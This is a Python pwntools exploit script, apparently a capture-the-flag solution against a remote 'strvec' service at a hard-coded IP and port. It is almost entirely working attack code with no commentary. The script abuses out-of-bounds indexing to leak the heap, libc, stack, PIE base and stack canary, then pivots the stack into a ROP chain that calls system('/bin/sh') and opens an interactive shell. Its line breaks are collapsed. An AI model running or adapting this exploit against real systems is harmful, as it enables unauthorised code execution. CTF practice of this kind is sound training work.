```from pwn import *
context.log_level = 'debug'# p = process('./strvec')p = remote('168.119.108.148', 12010)libc = ELF('./libc-2.31.so')
def setValue(index, data, withline = True):    p.sendlineafter('>', '2')    p.sendlineafter('idx =', str(index))    if withline:        p.sendlineafter('data =', data)    else:        p.sendafter('data =', data)
def getValue(index):    p.sendlineafter('>', '1')    p.sendlineafter('idx =', str(index))
name = p64(0) + p64(0x31)[:-2]p.sendlineafter(':', name)p.sendlineafter('n = ', str(0x1fffffff + 4))
setValue(100, 'A'*0x8)setValue(7, 'B'*8)setValue(6, 'B'*8)
getValue(100)
heap_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))heap_base = heap_leak - 0x330
info('heap_leak: ' + hex(heap_leak))info('heap_base: ' + hex(heap_base))
setValue(102, p64(heap_base + 0x3a0))setValue(103, p64(0) + p64(0x511))setValue(104, p64(heap_base + 0x3a0))
for i in range(106, 115):    setValue(i, 'C'*8)
for i in range(110, 180):    setValue(6 * i, p64(0x510) + p64(0x21))
setValue(0x23, 'ZZZZ')getValue(0x17)
libc_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))libc_base = libc_leak - 0x1ebbe0libc_environ = libc_base + 0x1ef2e0
info('libc_leak: ' + hex(libc_leak))info('libc_base: ' + hex(libc_base))info('libc_environ: ' + hex(libc_environ))
setValue(0x23, p64(libc_environ))getValue(0x1f)
stack_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))name_ptr = stack_leak - 0x128 + 0x10pie_ptr = name_ptr + 0x40canary_ptr = name_ptr + 0x8
info('stack_leak: ' + hex(stack_leak))info('name_ptr: ' + hex(name_ptr))info('pie_ptr: ' + hex(pie_ptr))info('canary_ptr: ' + hex(canary_ptr))
setValue(0x23, p64(pie_ptr) + p64(canary_ptr + 1))getValue(0x203)
pie_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))pie_base = pie_leak - 0x16c0
info('pie_leak: ' + hex(pie_leak))info('pie_base: ' + hex(pie_base))
getValue(0x204)
canary = u64(b'\0' + p.recvline()[-8:-1].ljust(7, b'\0'))info('canary: ' + hex(canary))
setValue(0x31, p64(name_ptr) + p64(heap_base + 0x2a0))setValue(0x1f, "AAAA")
leave_ret = pie_base + 0x1666pop_rdi_ret = pie_base + 0x1723ret = pop_rdi_ret + 1
payload = p64(pop_rdi_ret)payload += p64(libc_base + next(libc.search(b'/bin/sh\0')))payload += p64(libc_base + libc.sym['system'])
setValue(0x38, p64(0) + p64(canary) + p64(heap_base + 0x948 + 0x10) + p64(leave_ret)[:-2])
setValue(6*110, p64(heap_base + 0x2a0) + p64(heap_base + 0x10))
for i in range(111, 180):    setValue(6 * i, payload)
setValue(0x20, p64(0)*2)setValue(0, p64(0))
pause()p.sendlineafter('>', '3')p.interactive()```